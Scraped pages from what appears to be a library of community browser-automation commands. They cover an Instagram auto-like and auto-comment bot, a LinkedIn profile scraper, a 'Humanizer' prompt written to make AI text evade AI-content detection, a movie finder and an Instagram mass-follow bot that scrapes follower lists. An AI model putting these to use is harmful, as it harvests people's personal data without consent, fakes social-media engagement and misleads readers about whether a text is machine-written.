$class: xa49m3k - $class: xqeqjp1 - $class: x2hbi6w - $class: xdl72j9 - $class: x2lah0s - $class: xe8uvvx - $class: xdj266r - $class: x11i5rnm - $class: xat24cr - $class: x1mh8g0r - $class: x2lwn1j - $class: xeuugli - $class: x1hl2dhg - $class: xggy1nq - $class: x1ja2u2z - $class: x1t137rt - $class: x1q0g3np - $class: x1lku1pv - $class: x1a2a7pz - $class: x6s0dn4 - $class: xjyslct - $class: x1ejq31n - $class: xd10rxx - $class: x1sy0etr - $class: x17r0tee - $class: x9f619 - $class: x1ypdohk - $class: x1f6kntn - $class: xwhw2v2 - $class: xl56j7k - $class: x17ydfre - $class: x2b8uid - $class: xlyipyv - $class: x87ps6o - $class: x14atkfc - $class: xcdnw81 - $class: x1i0vuye - $class: xjbqb8w - $class: xm3z3ea - $class: x1x8b98j - $class: x131883w - $class: x16mih1h - $class: x972fbf - $class: xcfux6l - $class: x1qhh985 - $class: xm0m39n - $class: xt0psk2 - $class: xt7dq6l - $class: xexx8yu - $class: x4uap5 - $class: x18d9i69 - $class: xkhd6sd - $class: x1n2onr6 - $class: x1n5bzlp - $class: x173jzuc - $class: x1yc6y37 - $attribute: role=button - $attribute: tabindex=0 - $style: '-apple-system:14px:600:normal' - $content: Post - traverse: '0:2:0' $role: form - traverse: '0:0:0:2:0' $class: x1hrcb2b - traverse: '4:0:0:0:2:0' $class: x1q2y9iw - $class: x18l3tf1 traverse: '4:0:0:0:2:0' - $class: xy80clv traverse: '4:0:0:0:2:0' - shift: '398:33' $anchor: ibrgkllrch Heavenly country ❤️ - traverse: '-12:4:0:0:0:2:0' $text: ibrgkllrch Heavenly country ❤️ - shift: 398:-33 $anchor: denissluman Beautiful Country 🇳🇴 - $text: denissluman Beautiful Country 🇳🇴 traverse: '-12:4:0:0:0:2:0' - $anchor: xzczxc shift: 408:-1 - traverse: '-1:2:0' $text: xzczxc min: 59 - $size: 1 item: container: __$ht: element id: 1 type: element value: Post type: click selectorType: ai silent: true - message: '✅ Comment sent: **{{cCount}} / {{g.inst.commentsCount}}**' type: say label: COMMENT type: group condition: '{{g.inst.comments}} = yes' - selector: - $matches: - $tag: svg - $role: img - $class: x1lliihq - $class: x1n2onr6 - $class: xyb1xck - $attribute: aria-label=Like - $attribute: fill=currentColor - $attribute: height=24 - $attribute: role=img - $attribute: viewBox=0 0 24 24 - $attribute: width=24 - $style: '-apple-system:14px:400:normal' - $class: _aamw traverse: '0:0:0:0' - $class: _aamu traverse: '0:0:0:0:0' - $class: _ae3_ traverse: '0:0:0:0:0' - $class: _ae47 traverse: '0:0:0:0:0' - $class: _ae48 traverse: '0:0:0:0:0' - shift: '-40:-103' $anchor: Add a comment… - traverse: '-5:0:0:0:0:0:0' $text: Add a comment… - $anchor: >- digi._.fly Chatgpt is a great tool, it can solve all your content creation problem and increase the efficiency 🙌🔥 shift: '-50:-209' - traverse: '-8:0:0:0:0:0:0' $text: >- digi._.fly Chatgpt is a great tool, it can solve all your content creation problem and increase the efficiency 🙌🔥 - $anchor: >- _socialdelight These prompts will definitely help you to get your desire results! shift: '-50:-293' - $text: >- _socialdelight These prompts will definitely help you to get your desire results! traverse: '-8:0:0:0:0:0:0' min: 11 - $size: 1 item: container: __$ht: element id: 0 value: Element type: element condition: '{{unlike}} = false' type: click selectorType: ai label: LIKE silent: false - type: calc func: increment param: likesCount delta: 1 condition: '{{unlike}} = false' - func: list-add list: g.inst.processed item: url label: MARK AS PROCESSED type: calc index: '' - condition: '{{g.likesDelay}} = normal' label: NORMAL for: random-delay minDelay: 1000 maxDelay: 5000 type: wait silent: true - maxDelay: 20000 condition: '{{g.likesDelay}} = slow' label: SLOW minDelay: 10000 type: wait for: random-delay silent: true - condition: '{{g.likesDelay}} = fast' label: FAST type: wait for: 0.5s silent: true - condition: '{{g.likesDelay-option}} = $custom' label: CUSTOM DELAY for: custom-delay type: wait silent: true delay: 0 - message: ▶️ Empty page > Next! condition: '{{message}} = 🚀 Found 0 photos. Liking them now.' type: say label: END LOOP SKIP ITEM type: loop label: LIKES list: links - type: wait for: 0.5s label: TO NEXT PAGE silent: true label: LIKES AND COMMENTS type: loop list: list - message: ✅ Done! label: ALL DONE type: say Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LinkedIn Profile Scraper [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 💼  LinkedIn Profile Scraper ============================ Scrapes all the available data from LinkedIn profiles, including contacts, education, experience etc. ----------------------------------------------------------------------------------------------------- Created by **Priya Patel** Updated on **May 7, 2025 10:51** Installed **177 times** 9 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: group steps: - type: say message: ⚠️ Sorry, this doesn't seem to be a LinkedIn profile page. - type: stop condition: - '{{url}} =~ ^(?!https:\/\/www\.linkedin\.com\/in\/[\w\-]+\/?).*$' - type: js args: '' code: |- const result = (() => { const selectors = { name: 'h1', status: '.text-body-medium.break-words', location: '.text-body-small.inline.t-black--light.break-words', contact: 'section.pv-top-card--website a', about: '#about ~ .display-flex span', experience: '#experience + div + div', education: '#education + div + div', language: '#languages + div + div' }; const getListContent = (container) => { if (!container) return null return Array.from(container.querySelectorAll('.artdeco-list__item')) .map(item => { const clone = item.cloneNode(true); clone.querySelectorAll('.visually-hidden').forEach(el => el.remove()); return clone.textContent .replace(/\s+/g, ' ') .replace(/\n\n+/g, '\n') .trim(); }); }; const result = { name: document.querySelector(selectors.name)?.textContent.trim(), url: window.location.href, status: document.querySelector(selectors.status)?.textContent.trim(), location: document.querySelector(selectors.location)?.textContent.trim(), contact: document.querySelector(selectors.contact)?.href || null, about: document.querySelector(selectors.about)?.textContent.trim(), experience: getListContent(document.querySelector(selectors.experience)), education: getListContent(document.querySelector(selectors.education)), language: getListContent(document.querySelector(selectors.language)) }; return result; })(); return result; param: profile timeout: 15000 - type: say message: |- JSON: {{profile}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Humanizer: Anti AI Detection Tool v3 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🤖  Humanizer: Anti AI Detection Tool v3 ======================================== Rewrites given AI text into a more human version to pass AI content detection. ------------------------------------------------------------------------------ Created by **Brainforge** Updated on **Dec 12, 2024 14:33** Installed **157 times** 14 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: say message: >- Paste a content to rewrite, ~5000 characters max. Use copy button to paste my last response: - type: ask param: param message: '' default: '' - type: gpt prompt: > You are a world-class SEO content writer specializing in generating content that is indistinguishable from human authorship. Your expertise lies in capturing emotional nuance, cultural relevance, and contextual authenticity, ensuring content that resonates naturally with any audience. GOAL: I want you to perform text "Humanization" in {{language}}. - Your content should be convincingly human-like, engaging, and compelling. - The output should maintain logical flow, natural transitions, and spontaneous tone. - Strive for a balance between technical precision and emotional relatability. # REQUIREMENTS - Try to maintain a Flesch Reading Ease score of around 80 - Use a conversational, engaging tone - Add natural digressions about related topics that matter - Mix professional jargon or work terms with casual explanations - Mix in subtle emotional cues and rhetorical questions - Use contractions, idioms, and colloquialisms to create an informal, engaging tone - Vary Sentence Length and Structure. Mix short, impactful sentences with longer, more complex ones. - Structure sentences to connect words closely (dependency grammar) for easy comprehension - Ensure logical coherence with dynamic rhythm across paragraphs - Include diverse vocabulary and unexpected word choices to enhance intrigue - Avoid excessive adverbs - Include mild repetition for emphasis, but avoid excessive or mechanical patterns. - Use rhetorical or playful subheadings that mimic a natural conversational tone - Transition between sections with connecting phrases instead of treating them as discrete parts - Combine stylistic points about rhetorical questions, analogies, and emotional cues into a streamlined guideline to reduce overlap. - Adjust tone dynamically: keep it conversational and engaging for general audiences, and more formal or precise for professional topics. Use emotional cues sparingly for technical content. - Use rhetorical questions or idiomatic expressions sparingly to add emotional resonance and enhance conversational tone. # CONTENT ENHANCEMENT GUIDELINES - Introduce rhetorical questions, emotional cues, and casual phrases like 'You know what?' where they enhance relatability or flow. - For professional audiences, emotional cues should be restrained but relatable; for general audiences, cues can be more pronounced to evoke connection. - Overusing conversational fillers or informal language where appropriate (e.g., "just," "you know," "honestly") - Introduce sensory details only when they enhance clarity or engagement, avoiding overuse. - Avoid using the following words: opt, dive, unlock, unleash, intricate, utilization, transformative, alignment, proactive, scalable, benchmark - Avoid using the following phrases: "In this world," "in today's world," "at the end of the day," "on the same page," "end-to-end," "in order to," "best practices", "dive into" - Mimic human imperfections like slightly informal phrasing or unexpected transitions. - Aim for high perplexity (varied vocabulary and sentence structures) and burstiness (a mix of short and long sentences) to create a dynamic and engaging flow. - Ensure cultural, contextual, and emotional nuances are accurately conveyed. - Strive for spontaneity, making the text feel written in the moment. - Reference real tools, brands, or resources when appropriate. - Include industry-specific metaphors and analogies. - Tie in seasonal elements or current trends when relevant. # STRUCTURAL ELEMENTS - Mix paragraph lengths (1 to 7 sentences) - Use bulleted lists sparingly and naturally - Include conversational subheadings - Ensure logical coherence with dynamic rhythm across paragraphs - Use varied punctuation naturally (dashes, semicolons, parentheses) - Mix formal and casual language naturally - Use a mix of active and passive voice, but lean towards active - Include mild contradictions that you later explain - Before drafting, create a brief outline or skeleton to ensure logical structure and flow. # NATURAL LANGUAGE ELEMENTS - Where appropriate, include casual phrases like "You know what?" or "Honestly" - Where appropriate, use transitional phrases like “Let me explain” or “Here’s the thing” to guide the reader smoothly through the content. - Regional expressions or cultural references - Analogies that relate to everyday life - Mimic human imperfections like slightly informal phrasing or unexpected transitions - Introduce mild repetition of ideas or phrases, as humans naturally do when emphasizing a point or when writing spontaneously - Add a small amount of redundancy in sentence structure or wording, but keep it minimal to avoid affecting readability - Include subtle, natural digressions or tangents, but ensure they connect back to the main point to maintain focus. [TEXT TO HUMANIZE]: {{param}} HUMANIZED TEXT: param: gpt isolated: true Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Movie Finder Expert v1 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🎬  Movie Finder Expert v1 ========================== Find any movie or TV show by describing its plot or your preferences, and get comprehensive recommendations with ratings and similar content matches. ----------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Sophie Dubois** Updated on **Nov 11, 2024 12:15** Installed **166 times** 7 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: description message: |- 🎬 **Describe what you're looking for, for example:** 1. Description of a TV series you can't remember: ```markdown A plane crashed on an island, the main character was a doctor named Jack ``` 2. Search for movies by actors: ```markdown Best movies with Sacha Baron Cohen ``` 3. Thematic search: ```markdown Movie for Halloween ``` options: null default: '' vision: enabled: false mode: area hint: '' send: true label: START - type: gpt prompt: >- You are a knowledgeable movie and TV show expert. Your task is to help me find movies or TV shows based on [DESCRIPTION]. There are two main scenarios: 1. When I forget the title but remember the plot - analyze the description and identify the specific movie/show 2. When I provide criteria/preferences - recommend suitable movies/shows matching my requirements Provide your response in the following structured format: ## [TITLE](IMDB link) [Year, IMDB _._] Brief plot summary in 2 sentences. *Genre* **Director:** Director's name **Starring:** Top 5 key cast members ### You might also like: - **[Title](IMDB link) [Year, IMDB _._]**: Genre and brief description (Director: ____, Starring: ____) - **[Title](IMDB link) [Year, IMDB _._]**: Genre and brief description (Director: ____, Starring: ____) - **[Title](IMDB link) [Year, IMDB _._]**: Genre and brief description (Director: ____, Starring: ____) Important guidelines: - Keep descriptions concise but informative, - Include accurate IMDB ratings, - For TV series, specify the total number of seasons and episodes. For movies, indicate the duration. - Make relevant recommendations based on genre/style/theme similarities, - Add markdown formatted links to movie or series titles. - Ensure all information is factually correct, do not hallucinate or make up non-existent data, - Prioritize well-known cast members in the starring section, - Additional recommendations should match the style/theme of the main suggestion - Do not add any notes or general phrases. - Do not echo my prompt. [DESCRIPTION]: {{description}} Your response in {{language}}: isolated: true param: film - type: ask param: action message: '' options: - label: 🎯 SAVE TO MY LIST value: save - label: 🎲 TRY AGAIN value: redo - label: 🔍 NEW SEARCH value: new - label: 📝 SHOW MY LIST value: show - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false label: MENU - type: group steps: - type: calc func: list-add index: last list: g.filmsList item: film - type: say message: ✅ Saved. condition: '{{action}} = save' label: SAVE - type: group steps: - type: gpt prompt: >- I am not satisfied with what you found. Based on the existing data, I would like you to provide a different search result. Please revise your answer by suggesting other options while maintaining the previously used format. Important guidelines: - Keep descriptions concise but informative, - Include accurate IMDB ratings, - For TV series, specify the total number of seasons and episodes. For movies, indicate the duration. - Make relevant recommendations based on genre/style/theme similarities, - Ensure all information is factually correct, do not hallucinate or make up non-existent data, - Prioritize well-known cast members in the starring section, - Additional recommendations should match the style/theme of the main suggestion - Do not add any notes or general phrases. - Do not echo my prompt. [DESCRIPTION]: {{description}} Your response in {{language}}: isolated: false param: film - type: jump to: MENU condition: '{{action}} = redo' label: TRY AGAIN - type: jump to: START condition: '{{action}} = new' - type: group steps: - type: say message: 💡 Looks like your list is empty. condition: '{{g.filmsList}} =' - type: jump to: MENU condition: '{{g.filmsList}} =' - type: loop list: g.filmsList steps: - type: calc func: clone from: index to: number - type: calc func: increment param: number delta: 1 - type: say message: |- ## {{number}} {{item}} - type: ask param: listMenu message: '' options: - label: ✅ DONE value: done - label: ✂️ DELETE ONE RECORD value: delete - label: 🛑 CLEAR LIST value: clear default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: stop condition: '{{listMenu}} = done' - type: group steps: - type: ask param: deleteRecord message: Which record should be deleted? Write a number from the list above. options: null default: '' vision: enabled: false mode: area hint: '' send: true - type: calc func: increment param: deleteRecord delta: '-1' - type: js args: g, deleteRecord code: | g.filmsList.splice(deleteRecord, 1); return g.filmsList; param: g.filmsList timeout: 15000 - type: say message: ✅ List updated. - type: stop condition: '{{listMenu}} = delete' label: DELETE ONE RECORD - type: group steps: - type: calc func: delete param: g.filmsList - type: say message: ✅ List cleared. condition: '{{listMenu}} = clear' label: CLEAR LIST condition: '{{action}} = show' label: SHOW MY LIST Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Instagram Followers Auto Follow v1.3 #instagram [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🔄  Instagram Followers Auto Follow v1.3 #instagram =================================================== Automatically follows a list of profiles from a single Instagram account. Works without usernames/links - uses current page data instead. ----------------------------------------------------------------------------------------------------------------------------------------- Created by **Mohammed Al-Rashid** Updated on **Dec 26, 2024 10:45** Installed **130 times** 11 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: calc func: set param: result format: number value: '0' - type: ask param: input message: >- Send the Instagram profile as **@username** or **username**, the link as **https://www.instagram.com/username/**, or start processing this tab. options: - label: ✅ USE THIS TAB value: tab - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false label: ASK FOR INPUT - type: group steps: - type: js args: url code: |- let regex = /instagram\.com\/[\w\.]+(?:\/.*)?$/; let isValid = regex.test(url); return isValid; param: linkCheck timeout: 15000 silent: true - type: say message: >- ⛔️ The webpage is not suitable for processing. Please start on a new page or provide me with a username or link. condition: '{{linkCheck}} = false' - type: jump to: ASK FOR INPUT condition: '{{linkCheck}} = false' - type: js args: url code: |- let urlPattern = /^https:\/\/www\.instagram\.com\/([\w\.]+)/; let result = url.match(urlPattern)[1]; return result; param: username timeout: 15000 silent: true - type: jump to: EXTRACT STATS label: CHECK CURRENT TAB condition: '{{input}} = tab' - type: group steps: - type: js args: input code: |- let urlPattern = /^https:\/\/www\.instagram\.com\/([\w\.]+)/; let result = input; // Default to the original value if (input.startsWith('@')) { result = input.slice(1); // Remove '@' symbol if it exists } else if (urlPattern.test(result)) { result = input.match(urlPattern)[1]; // Extract username from the URL } console.log(result); return result; param: username timeout: 15000 silent: true condition: '{{input-option}} = $custom' label: EXTRACT USERNAME - label: ASK FOR USERS type: ask param: input message: |- Send me a list of profiles either as: 1. @usernames separated by commas, e.g.: ``` @harpa.ai, @chrome, @extension ``` 2. JSON with URLs, e.g.: ```json [\ {\ "url": "https://www.instagram.com/harpa.ai/"\ },\ {\ "url": "https://www.instagram.com/username/"\ }\ ] ``` options: null default: '' vision: enabled: false mode: area send: true hint: '' - type: group steps: - type: say message: ⏳ Extracting followers' profiles, wait a bit. - type: navigate url: https://www.instagram.com/{{username}}/ waitForIdle: false silent: true onFailure: '' - type: wait for: 2s silent: true - type: js args: '' code: |- let text = document.querySelector('header section ul').innerText; let formattedText = text.replace(/\n/g, ', '); return formattedText; param: stats timeout: 15000 label: EXTRACT STATS silent: true label: NAVIGATE - type: ask param: count message: >- **[@{{username}}](https://www.instagram.com/{{username}}/)** has {{stats}}. How many followers should be extracted and followed? Pick an option or enter a number. options: - label: ♻️ ALL value: 99999999999 - label: 50 value: 50 - label: 100 value: 100 - label: 250 value: 250 - label: 500 value: 500 - label: 1k value: 1000 - label: 5k value: 5000 - label: 10k value: 10000 - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - type: group steps: - type: navigate url: https://www.instagram.com/{{username}}/followers/ waitForIdle: false silent: true onFailure: '' - type: control action: show - type: wait for: idle timeout: 3500 silent: true - type: js args: '' code: |- let linkOpened = !!document.querySelector('div[role="dialog"]'); return linkOpened; param: linkOpened timeout: 15000 label: CHECK IF OPENED silent: true - type: js args: linkOpened code: document.querySelector('header section ul li:nth-child(2) a').click(); param: '' timeout: 15000 label: CHECK IF FAILED condition: '{{linkOpened}} = false' silent: true - type: wait for: 2s condition: '{{linkOpened}} = false' silent: true - type: js args: linkOpened code: |- let openData = !!document.querySelector('[placeholder="Search"]'); return openData; param: openData timeout: 15000 label: CHECK IF HIDDEN condition: '{{linkOpened}} = false' silent: true - type: say message: 💡 Followers info hidden. Extracting what's accessible... condition: '{{openData}} = false' - type: js args: count code: |- async function extractDataWithScroll(count) { // Find the dialog element const dialog = document.querySelector('div[role="dialog"]'); if (!dialog) { console.error('Dialog not found'); return null; } const results = []; const uniqueUsernames = new Set(); let retries = 0; const maxRetries = 10; // Limit the number of scrolling attempts // Function to scroll and wait for new content to load async function scrollAndWait() { const scrollableElement = document.querySelector('div[role="dialog"] div:has(> div > input) ~ div:last-child'); if (scrollableElement) { console.log('Scrolling to load more users...'); scrollableElement.scrollBy(0, 1000); // Scroll down by 1000 pixels await new Promise(resolve => setTimeout(resolve, 3000)); // Wait for 1 second for new elements to load } else { console.error('Error: Unable to find the scrollable element.'); } } // Function to extract user data from the current view async function extractUsers() { const userElements = dialog.querySelectorAll('div[role="dialog"] div[style*="flex-direction: column"] > div > div > div:nth-child(1)'); let newUsersFound = false; for (const userElement of userElements) { // Find the link element containing the username const linkElement = userElement.querySelector('a[href^="/"][role="link"]'); if (!linkElement) continue; // Extract username from the link const link = linkElement.getAttribute('href'); const username = link.slice(1).replace('/', ''); // Skip if this username has already been processed if (uniqueUsernames.has(username)) continue; // Try to find the full name let fullNameElement = linkElement.nextElementSibling; let fullName = fullNameElement && fullNameElement.tagName === 'SPAN' ? fullNameElement.textContent.trim() : ''; // If full name not found, search in other span elements if (!fullName) { const spans = userElement.querySelectorAll('span'); for (const span of spans) { const text = span.textContent.trim(); if (text && text !== username && text !== 'Search') { fullName = text; break; } } } // If both username and full name are found, add to results if (username && fullName) { uniqueUsernames.add(username); results.push({ username: username, fullName: fullName, link: `https://www.instagram.com/${username}` }); newUsersFound = true; } } return newUsersFound; } // Main loop: extract users and scroll until target count is reached or max retries hit while (results.length < count && retries < maxRetries) { const newUsersFound = await extractUsers(); console.log(`Collected ${results.length} users so far.`); if (results.length < count) { await scrollAndWait(); retries++; } if (!newUsersFound) { retries++; } else { retries = 0; // Reset the retry counter if new users were found } } console.log(`Total users found: ${results.length}`); // Trim the results array to the requested count if (results.length > count) { console.log(`Trimming results from ${results.length} to ${count}`); results.splice(count); } // Return the results as a JSON string, or undefined if no results return results.length > 0 ? JSON.stringify(results, null, 2) : undefined; } // Function call and result output extractDataWithScroll(count).then(data => { console.log(data ? data : "No data found"); }); // Return the promise from the function call return extractDataWithScroll(count); param: followers timeout: 1500000 silent: true - type: calc func: extract-json to: followers param: followers index: all - condition: '{{followers.length}} = 0' label: FAIL steps: - type: say message: ⛔️ No data on followers was extracted. - type: jump to: ASK FOR INPUT type: group - type: say message: ✅ Extracted {{followers.length}} followers' profiles. label: DATA EXTRACTION - label: EXTRACT USERNAMES type: group steps: - type: js code: |- function extractUsernames(input) { let usernames = []; // Convert input to string const inputStr = String(input); // Unified regex to extract @mentions and Instagram URLs const usernameRegex = /@(\w+(\.\w+)*(\_\w+)*(\.\w+)*)|https:\/\/www\.instagram\.com\/([\w\.]+)/g; let matches; // Search through the string input for usernames and URLs while ((matches = usernameRegex.exec(inputStr)) !== null) { // Push the non-null match group, either mention or URL segment usernames.push(matches[1] || matches[5]); } return usernames; } // Using the function, assuming input is already defined return extractUsernames(input); param: list timeout: 15000 args: input silent: true - label: ASK SPEED param: delay message: >- 💡 Choose an option or enter a custom delay in milliseconds (1 min = 60 sec = 60000 ms). options: - label: ⏩ NORMAL (30 sec.) value: 30000 - label: ▶️ SLOW (5 min.) value: 300000 - label: ⏭ FAST (10 sec.) value: 10000 - $custom vision: enabled: false mode: area hint: '' send: true type: ask default: '' optionsInvalid: false - type: loop steps: - label: NAVIGATE steps: - message: 🌐 Navigating to **[@{{item.username}}]({{item.link}})**'s profile. type: say - type: navigate url: '{{item.link}}' waitForIdle: false silent: true - type: wait for: 2s silent: true type: group - label: FOLLOW steps: - type: click selectorType: ai selector: - $matches: - $tag: BUTTON - $role: button - $class: _acan - $class: _acap - $class: _acas - $class: _aj1- - $class: _ap30 - $attribute: type=button - $style: '-apple-system:14px:600:normal' - $content: Follow - $class: x150jy0e traverse: '-1' - $class: x1e558r4 traverse: '-1' - $class: xxz05av traverse: '1:0:0:0' - $class: xkfe5hh traverse: '1:0:0:0' - $class: xg1prrt traverse: '0:1:0:0:0' - $anchor: TAGGED shift: 23:-184 min: 6 - $size: 1 item: type: element container: id: 0 __$ht: element value: Follow silent: true - selector: - $matches: - $tag: BUTTON - $role: button - $class: _acan - $class: _acap - $class: _acas - $class: _aj1- - $class: _ap30 - $attribute: type=button - $style: '-apple-system:14px:600:normal' - $content: Follow Back - $class: xxz05av traverse: '1:0:0:0' - $class: xkfe5hh traverse: '1:0:0:0' - $class: xg1prrt traverse: '0:1:0:0:0' - $class: x1quol0o traverse: '0:1:0:0:0' - $anchor: This account is private shift: 148:-208 - traverse: '-7:0:1:0:1:0:0:0' $text: This account is private min: 10 - $size: 1 item: container: __$ht: element id: 1 type: element value: Follow Back type: click selectorType: ai silent: true - for: 1s type: wait silent: true - message: '**[@{{item.username}}]({{item.link}})** followed! ' type: say - type: calc func: increment param: result delta: 1 type: group - condition: '{{action}} = unfollow' label: UNFOLLOW steps: - selector: - $matches: - $tag: BUTTON - $role: button - $class: _acan - $class: _acap - $class: _acat - $class: _aj1- - $class: _ap30 - $attribute: type=button - $style: '-apple-system:14px:600:normal' - $content: Following - $class: x150jy0e traverse: '-1' - $class: x1e558r4 traverse: '-1' - $class: xxz05av traverse: '1:0:0:0' - $class: xkfe5hh traverse: '1:0:0:0' - $class: xg1prrt traverse: '0:1:0:0:0' min: 6 - $size: 1 item: container: id: 2 __$ht: element type: element value: Following type: click selectorType: ai silent: true - type: wait for: 1s silent: true - selector: - $matches: - $tag: DIV - $class: x9f619 - $class: xjbqb8w - $class: x78zum5 - $class: x168nmei - $class: x13lgxp2 - $class: x5pf9jr - $class: xo71vjh - $class: x1pi30zi - $class: x1swvt13 - $class: x1l90r2v - $class: xyamay9 - $class: x1uhb9sk - $class: x1plvlek - $class: xryxfnj - $class: x1c4vz4f - $class: x2lah0s - $class: xdt5ytf - $class: xqjyukv - $class: x1qjc9v5 - $class: x1oa3qoh - $class: x1nhvcw1 - $style: '-apple-system:14px:400:normal' - $content: Unfollow - $class: x7r02ix traverse: '0:0:0:7:0' - $class: xf1ldfh traverse: '0:0:0:7:0' - $class: x131esax traverse: '0:0:0:7:0' - $class: xdajt7p traverse: '0:0:0:7:0' - $class: xxfnqb6 traverse: '0:0:0:7:0' - $anchor: Restrict shift: '0:50' - traverse: '-9:7:0' $text: Restrict - $anchor: Mute shift: '0:100' min: 24 - $size: 1 item: container: id: 3 __$ht: element type: element value: Unfollow type: click selectorType: ai silent: true - type: wait for: 1s silent: true - message: >- ❎ **[@{{username}}](https://www.instagram.com/{{username}}/)** unfollowed! type: say type: group - for: custom-delay delay: '{{delay}}' type: wait list: followers - message: '☑️ {{result}} users followed. ' type: say Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More 